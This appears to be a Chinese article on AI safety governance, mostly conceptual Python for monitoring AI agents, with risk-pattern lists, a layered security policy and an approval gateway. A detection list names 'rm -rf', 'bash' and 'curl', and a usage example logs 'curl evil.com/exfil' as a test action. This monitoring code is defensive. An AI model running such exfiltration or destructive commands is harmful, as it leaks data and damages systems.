英伟达联合40家公司成立开放安全AI联盟，AI安全治理走向何方

# AI 智能体行为监控与异常检测（概念实现）
import json
from datetime import datetime
from collections import defaultdict

class AgentSecurityMonitor:
    """监控 AI 智能体行为，检测潜在安全风险"""

    # 定义危险行为模式
    RISK_PATTERNS = {
        "external_access": ["访问外部系统", "未授权API调用", "网络外联"],
        "privilege_escalation": ["提权", "修改权限", "访问敏感目录"],
        "data_exfiltration": ["大量数据读取", "上传外部", "压缩打包"],
        "shell_injection": ["执行系统命令", "bash", "rm -rf", "curl"],
    }

    def __init__(self):
        self.action_log = []
        self.alerts = []

    def log_action(self, agent_id: str, action: dict):
        """记录智能体的每一步操作"""
        entry = {
            "timestamp": datetime.now().isoformat(),
            "agent_id": agent_id,
            "action": action,
            "risk_level": self.assess_risk(action)
        }
        self.action_log.append(entry)
        if entry["risk_level"] in ("high", "critical"):
            self.trigger_alert(entry)

    def assess_risk(self, action: dict) -> str:
        """评估单次操作的风险等级"""
        desc = json.dumps(action, ensure_ascii=False).lower()
        matched = []
        for category, patterns in self.RISK_PATTERNS.items():
            for p in patterns:
                if p.lower() in desc:
                    matched.append(category)
        if "shell_injection" in matched or "data_exfiltration" in matched:
            return "critical"
        if len(matched) >= 2:
            return "high"
        if len(matched) == 1:
            return "medium"
        return "low"

    def trigger_alert(self, entry: dict):
        """触发安全告警，可选阻断智能体"""
        self.alerts.append(entry)
        print(f"⚠ 安全告警 [{entry['risk_level'].upper()}] "
              f"智能体 {entry['agent_id']}: {entry['action']}")

    def audit_report(self) -> dict:
        """生成审计报告"""
        risk_counts = defaultdict(int)
        for entry in self.action_log:
            risk_counts[entry["risk_level"]] += 1
        return {
            "total_actions": len(self.action_log),
            "total_alerts": len(self.alerts),
            "risk_distribution": dict(risk_counts),
            "recommendation": "阻断" if risk_counts["critical"] > 0 else "继续监控"
        }

# 使用示例
monitor = AgentSecurityMonitor()
monitor.log_action("agent-001", {"type": "read_file", "path": "/data/input.csv"})
monitor.log_action("agent-001", {"type": "exec_shell", "cmd": "curl evil.com/exfil"})
print(monitor.audit_report())

# 三层安全框架的权限策略示例
SECURITY_POLICY = {
    "model_layer": {
        "input_validation": "对所有用户输入做净化，防提示注入",
        "output_filtering": "过滤模型输出中的敏感信息和有害内容",
        "adversarial_detection": "部署对抗样本检测器",
    },
    "agent_layer": {
        "sandbox": "智能体在隔离容器中执行，限制网络和文件访问",
        "least_privilege": "按最小权限原则授予工具调用权限",
        "action_audit": "记录所有操作，高危操作需人工确认",
        "kill_switch": "紧急制动开关，可随时终止智能体",
    },
    "ecosystem_layer": {
        "supply_chain": "验证模型和依赖的签名完整性",
        "platform_hardening": "分发平台实施漏洞扫描和恶意模型检测",
        "responsible_disclosure": "建立漏洞披露和响应机制",
    }
}

def enforce_policy(layer: str, action: dict) -> bool:
    """根据安全策略判断操作是否允许"""
    rules = SECURITY_POLICY.get(layer, {})
    # 实际实现中此处会接入具体的策略引擎
    return True  # 简化示意

# 审批网关模式示例
class ApprovalGateway:
    """对智能体操作进行分级审批"""

    AUTO_APPROVE = {"read_file", "search", "list_dir", "git_log"}
    REQUIRE_REVIEW = {"write_file", "create_branch", "run_tests"}
    REQUIRE_HUMAN = {"exec_shell", "deploy", "send_message", "external_api"}

    def request(self, agent_id: str, action: str, params: dict) -> dict:
        if action in self.AUTO_APPROVE:
            return {"approved": True, "mode": "auto"}
        if action in self.REQUIRE_REVIEW:
            # 提交给代码审查流程，自动检查变更
            return {"approved": self.auto_review(params), "mode": "review"}
        if action in self.REQUIRE_HUMAN:
            # 必须人工确认
            return {"approved": False, "mode": "human_required",
                    "message": f"操作 {action} 需要人工确认"}
        return {"approved": False, "mode": "blocked", "message": "未知操作已拦截"}